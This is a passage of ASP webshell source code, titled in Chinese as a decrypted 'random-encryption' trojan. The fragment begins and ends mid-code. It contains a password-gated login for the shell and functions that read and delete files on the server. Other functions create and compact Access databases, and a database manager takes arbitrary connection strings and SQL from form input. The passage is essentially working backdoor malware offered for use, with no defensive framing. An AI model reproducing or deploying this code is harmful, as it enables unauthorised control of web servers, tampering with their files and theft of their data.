asp木马代码解密的随机加密webshell

ct("Scripting.FileSystemObject")
Set oFilelcx = fs.OpenTextFile (szTempFile, 1, False, 0)
aaa=Server.HTMLEncode(oFilelcx.ReadAll)
oFilelcx.Close
Call fso.DeleteFile(szTempFile, True)
SI=SI&aaa
end if
End If
SI=SI&chr(13)&"</textarea></form>"
RRS SI
End Function

Function CreateMdb(Path)
SI="<br><br>"
Set C = CreateObject(ObT(2,0))
C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Path)
Set C = Nothing
If Err.number=0 Then
SI = SI & Path & "建立成功!"
End If
SI=SI&BackUrl
RRS SI
End function

Function CompactMdb(Path)
If Not ObT(0,1) Then
Set C=CreateObject(ObT(3,0))
C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path
Set C=Nothing
Else
Set FSO=CreateObject(ObT(0,1))
If FSO.FileExists(Path) Then
Set C=CreateObject(ObT(3,0))
C.CompactDatabase "Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Path&",Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" &Path&"_bak"
Set C=Nothing
FSO.DeleteFile Path
FSO.MoveFile Path&"_bak",Path
Else
SI="<center><br><br><br>数据库"&Path&"没有发现！</center>"
Err.number=1
End If
Set FSO=Nothing
End If
If Err.number=0 Then
SI="<center><br><br><br>数据库"&Path&"压缩成功！</center>"
End If
SI=SI&BackUrl
RRS SI
End Function

if session("web2a2dmin")<>UserPass then
if request.form("pass")<>"" then
if request.form("pass")=UserPass then
session("web2a2dmin")=UserPass
response.redirect url
else
rrs"<br><br><br><br><br><br><br><br><center> 密码不正确,请确认是否输入有误！</center>"
end if
else
si="<center><div style=''width:500px;border:1px solid #222;padding:22px;margin:100px;''><br><a href=''"&SiteURL&"'' target=''_blank''>"&mname&"</a><form action=''"&url&"'' method=''post''>输入密码：<input name=''pass'' type=''password'' size=''22''> <input type=''submit'' value=''登陆''><br><br><br><font color=#3399FF>"&Copyright&"</font><br>"&sers&"</div></center>"
if instr(SI,SIC)<>0 then rrs sI
end if
response.end
end if

Function DbManager()
SqlStr=Trim(Request.Form("SqlStr"))
DbStr=Request.Form("DbStr")
SI=SI&"<table width=''650'' border=''0'' cellspacing=''0'' cellpadding=''0''>"
SI=SI&"<form name=''DbForm'' method=''post'' action=''''>"
SI=SI&"<tr><td width=''100'' height=''27''> 数据库连接串:</td>"
SI=SI&"<td><input name=''DbStr'' style=''width:470'' value="""&DbStr&"""></td>"
SI=SI&"<td width=''60'' align=''center''><select name=''StrBtn'' onchange=''return FullDbStr(options[selectedIndex].value)''><option value=-1>连接串示例</option><option value=0>Access连接</option>"
SI=SI&"<option value=1>MsSql连接</option><option value=2>MySql连接</option><option value=3>DSN连接</option>"
SI=SI&"<op